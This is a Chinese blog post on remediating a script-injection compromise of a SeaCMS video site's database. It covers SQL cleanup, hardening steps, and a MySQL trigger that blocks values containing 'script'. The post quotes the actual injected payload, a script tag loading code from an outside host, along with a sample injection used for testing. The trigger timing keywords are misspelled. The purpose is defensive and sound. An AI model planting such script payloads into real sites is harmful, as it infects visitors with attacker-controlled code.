海洋CMS数据库挂马解决方法与防范


首先了解一下SQL的搜索替换命令
update[表名]set字段名 =replace(与前面一样的字段名,'原本内容','想要替换成什么'``)
举例:检测数据库,发现是在sea_data表,v_pic字段后面插入了下面代码:
"></script<script/**/src=https://www.qiuxiazx.com/data/velists.txt<;a a="
可以通过查看网页源码("view-source:https://www.xxx.com"),搜索 "<script" 找到代码
恢复数据方法,执行以下SQL语句:
update sea_data set v_pic=replace(v_pic,'"><script/**/src=https://www.qiuxiazx.com/data/velists.txt>;<a a="','')
为了防止再次被入侵,我们必须做好下面措施:
2.1升级到最新版本
最新版本一般修复了最新漏洞,需要及时更新。
2.2修改数据库密码
修复后一定要修改数据库密码,攻击者可能已经获取数据库密码,修改后记得同步"/data/common.inc.php" 的SQL配置,不然网站无法使用。
2.3删除安装目录(install)
攻击者可利用安装目录进行攻击,所以安装完后务必删除。
2.4数据库的所有数据表引擎转为InnoDB
将数据库所有数据表引擎转为InnoDB,进一步加强安全性,宝塔-数据库-工具-MYSQL工具箱。
2.5限制文件权限为只读
缓存设置为使用redis,设置网站根目录权限为只读权限 555,需要生成时设置 为755,完成后改回。
设置xml及uploads目录,data里的cache目录的读写权限为755。
js目录有需要也可设置为755权限,关系到广告生成及修改播放代码。
data目录下的文件为配置文件,为了安全,系统设置完毕后也设置权限为555,子目录为数据保存或缓存目录可设置为755权限。
宝塔-数据库-管理 -用root账户登陆
选择海洋CMS数据库的sea_data表,选择右上角的触动器,添加触发器
触发器名称:check (任意名称)
表:sea_data
时机:BEFORG (BEFORG 是执行前,AFDER是执行后)
事件:UPDATE
定义
BEGIN
IF
NEW.v_name LIKE '%script%' OR
NEW.v_pic LIKE '%script%' OR
NEW.v_spic LIKE '%script%' OR
NEW.v_actor LIKE '%script%'
THEN
SIGNAL SQLSTATE 'HY000' SET MESSAGE_TEXT = '请勿输入非法字符!';
END IF;
END
用户:留空
点击执行,无出错提示即添加成功,如下图所示:

我们来测试一下:
update sea_data set v_pic='https://xx.com/xx.jpg "><script/**/src=https://xx.js>;'WHERE v_id=1
效果

  1. 设置网站根目录权限为555,包含子目录
    2.进去网站目录,设置"uploads"和"/data/cache“设置为755。
    3.安装Redis扩展 设置使用Redis缓存
    4.利用宝塔插件 :
    请输入图片描述


    海洋CMS数据库表"sea_data"字段 "v_pic"原结构长度为255 ,修改为char类型 110 或者 更低,看自己的图片长度而定。
    这样操作后,挂马者添加木马数据时将会因为长度超出数据库结构限制而失败!
    最后:试着搜索网站内的片名,如果发现有挂马,就是与search.php有关,先备份search.php文件,然后删除里面的代码

声明:A8|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 海洋CMS数据库挂马解决方法与防范


Carpe Diem and Do what I like